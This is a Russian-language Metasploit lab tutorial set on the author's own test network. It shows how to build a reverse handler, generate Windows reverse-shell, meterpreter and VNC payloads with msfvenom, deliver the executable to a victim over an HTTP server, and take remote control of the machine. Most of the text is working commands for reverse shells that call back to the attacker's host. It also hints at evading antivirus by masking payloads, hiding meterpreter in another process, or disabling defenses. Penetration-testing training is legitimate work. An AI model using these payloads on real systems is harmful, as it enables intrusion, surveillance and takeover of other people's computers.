# **Использование Metasploit Framework для использования различных пэйлоадов (reverse)**
###### tags: `metasploit`
***Будем пробовать атаковать машины внутри инфраструктуры, сначало без средств антивирусной защиты, затем попробуем включить их и попробовать снова. Для выполнения данной работы можно использовать стенд с предыдущей работы, либо для работы нужно будет добавить компоненты ниже(в данной инструкции использовался EVE-NG).***
* Машина атакующего (желательно машина с Kali Linux на борту)
* Машина клиента-жертвы (машина внутри защищенной инфраструктуры, для наглядности основная машина имеет на борту Windows 7)
* Машина клиента-жертвы №2 (еще одна машина внутри защищенной инраструктуры, возьмем windows10 как более защищенный вариант нежеле window10)
* Межсетевой экран/маршрутизатор (для имитации защищенной организации, в примере pfsense)
* Коммутатор (любой, в примере cisco)
****В результате у вас должен быть следующий стенд (я взял с прошлого урока). Красным подчеркнул машины, которые будут использоваться.

1. Для начала, если у вас не собран стенд необходимо его собрать.
Основные действия по реализации данных атак будут происходить на Kali Linux(на схеме openvpn client) и Windows7(у меня на ней, так как для использования windows10 у меня не хватает мощности ПК).
Запускаем нашу kali linux. И сразу заходим в терминал.
В терминале запускаем утилиту metasploit framework, в которой будет происходит основная работа.
Данная утилита содержит в себе следующие компоненты:
Exploit - код, который непосредственно оказывает влияние на уязвимости
payload - "полезная нагрузка" - код, который выполняется после реализации эксплойта
auxiliary - тестирование эксплойта перед использованием, чтобы не выдать себя
post - действия после использования payload
encoders - код, который используется для повторного кодирования пэйлоада, чтобы сложнее было заметить.
evasion - модуль используется для обхода средств антивирусной защиты
noops - модуль для задержки действия пэйлоада на атакуемой машине, чтобы быть незамеченым.
Итак, непосредственно приступим к использованию metaslpoit, но использовать мы его будем для реализации только payload без использования exploit, на примере reverse payload'ов:
> **msfconsole**
Данная команда запустит metasploit framework. Следует подождать некоторое время.
Также, мы можем посмотреть список всех payloadов командой:
**show payloads**

2. Далее, рассмотрим непосредственно работы некоторых payload. В данном уроке, рассмотрим использование таких paylod как:
* Reverse-shell - доступ к командной строке атакуемого
* Reverse-meterpreter - получение доступа к машине атакуемого с возможностью работы в специальной оболочке meterpreter, которая имеет огромный функционал влияния на атакуемую машину (будет использоваться в следующем уроке)
* Reverse-vns - доступ к управлению и слежению атакуемого компьютера.
Необходимо отметить, мы будем использовать все атаки на примере windows, так как это reverse, то цель payload соединиться с сервером атакующего (наша kali), поэтому также, будет рассмотрена генерация данного payload и создание данного сервера.
Итак, приступим к использованию reverse-shell:
> Создаем сервер-захватчик в нашей mfsconsole. Для этого вводим следующие команды:
**use exploit/multi/handler**
Далее, нам необходимо выбрать payload, который нам подходит, взглянем на них еще раз:
**show payloads**

Их стало меньше, но все равно слишком много, но мы знаем, что атакуемая машина это windows x64, поэтому можем сделать поиск, чтобы удобнее было выбирать нужный нам payloads:
**search windows/x64**

Их стало гораздо меньше, всего 50. Из этого списка выберем нужный нам - shell/reverse_tcp, у меня он под 33 номером.
Выберем его следующей командой (рекомендую название payload скопировать сразу полностью в будущем пригодиться):
**set payload windows/x64/shell/reverse_tcp**
Таким образом, мы его выбрали.
Теперь, нам необходимо задать параметры, с которыми наш сервер будет работать, проверим, какие вообще есть параметры у данного payload:
**show options**

Как видим, их всего 3, основные это LHOST (адрес, на котором сервер будет принимать соединение) LPORT (порт, на котором сервер будет принимать соединение).
Укажем их, адрес можно указать 0.0.0.0 (то есть на все адреса) или же указать адрес на внешнем интерфейсе (**ip a**, чтобы посмотреть). Выберем второе и укажем строгий адрес:
**set LHOST <ваш ip>**

Порт оставляем без изменения.
Наш сервер готов. Для его запуска необходимо воспользоваться командой **run**. Но запускать его мы будем позже.
3. Генерация payload файла.
Сервер мы создали, теперь же нам необходимо создать payload, который можеть быть запущен пользователем на удаленной машине. Необходимо открыть новую консоль, не закрывая консоль с msfconsole. Используем следующую команду (утилита msfvenom):
**msfvenom -p windows/x64/shell/reverse_tcp LHOST=<ваш ip указанный выше> LPORT=4444 -f exe -o reverse_shell.exe**
где, p - payload
-f - формат файла
-o - файл в который выводим

Отмечаю, что если не указать куда выводить, то он покажет результат на консоли.
Более подробно про генерацию payload можно прочитать в данной статье - https://habr.com/ru/company/ruvds/blog/343612/
После этого, создасться файл с нашим payload, который надо передать на конечную машину. При запуске данного payload, он обратиться к нам на сервер и мы получим доступ к консоли, того кто к нам обратиться.
4. Передача файла и проверка.
Теперь задача заключается в передаче готового payload на машину жертвы. Самый простой способ, это отправить по почте, но современные антивирусы замечают данные payload, предположим, что у жертвы его нет. Для удобства передадим наш payload напрямую. Для этого будем использовать быстрый http сервер. Для его создания в linux используем следующую команду:
> cd <путь к папке, где лежит payload>
> python -m SimpleHTTPServer 80

После этого на конечной машине можно открыть данную папку конечного сервера через обычный браузер(и просто вводим ip в адресную строку). Заходим на атакующую машину и скачиваем созданный payload.

Теперь, возвращаемся на kali и запускаем сервер - **run**

Потом возвращаемся обратно и запускаем скаченный payload, ничего не произойдет. Но на нашем сервере мы получим доступ к консоли атакуемой машины.

На удаленной машине вы можете выполнять любые команды для windows консоли. Необходимо, отметить, что поведение payload может отличаться для админа и для пользователя. Также, если у вас есть проблемы с кодировкой(как у меня на скриншоте), то это можно поправить командой - **chcp 65001**
После этого кодировка будет отображаться более корректно. Кроме того, вы можете временно покидать сессия shell командой **background**. Вернуться назад в консоль можно коммандой **sessions -i <номер сессии>**
5. Использование meterpreter payload.
Итак, мы применил payload reverse shell, теперь используемся другим reverse shell payload, которые были описаны выше.
Итак, применим аналогичные действия, но на выборе payload мы будем указывать **windows/x64/meterpreter/reverse_tcp**
Для msfvenom, мы также указываем meterpreter, только для удобства я рекомендую изменить имя создаваемого payload.


В итоге мы получили доступ к машине через meterpreter:

Данная утилита имеет более расширенные возможности, некоторые из них можно посмотреть командой **?**
Для проверки посмотрим системные параметры атакуемой машины - **sysinfo**
Или, сделать скриншот удаленной машины - **screenshot**

У meterpreter множество других функций, одну из которых мы будем использовать в будущем занятии. В статье https://habr.com/ru/post/131112/ указаны более интересные способы применения meterprete. Например, миграция под другой процесс(когда наш meterpreter прячется в другой процесс и его нельзя обнаружить)
5. Использование vnc payload.
И наконец, рассмотрим vnc payload, который позволит нам управлять и следить за удаленной машиной.
Опять же повторяем все аналогичные действия, но имя payload будет **windows/x64/vncinject/reverse_tcp**. Опять же рекомендую имя payload сделать соответствующее.

На нашей атакующей машине запускается vnc, с помощью которого мы можем управлять атакуемую машину.

Необходимо отметить, что при использовании данного ПО в windows 10, защитник windows обнаружит как вредоносы данные файлы и удалит, поэтому, задача атакующего либо маскировать подобные файлы (с помощью различных способов генерации payload)
https://www.offensive-security.com/metasploit-unleashed/generating-payloads/
Либо предварительно выключить средства защиты.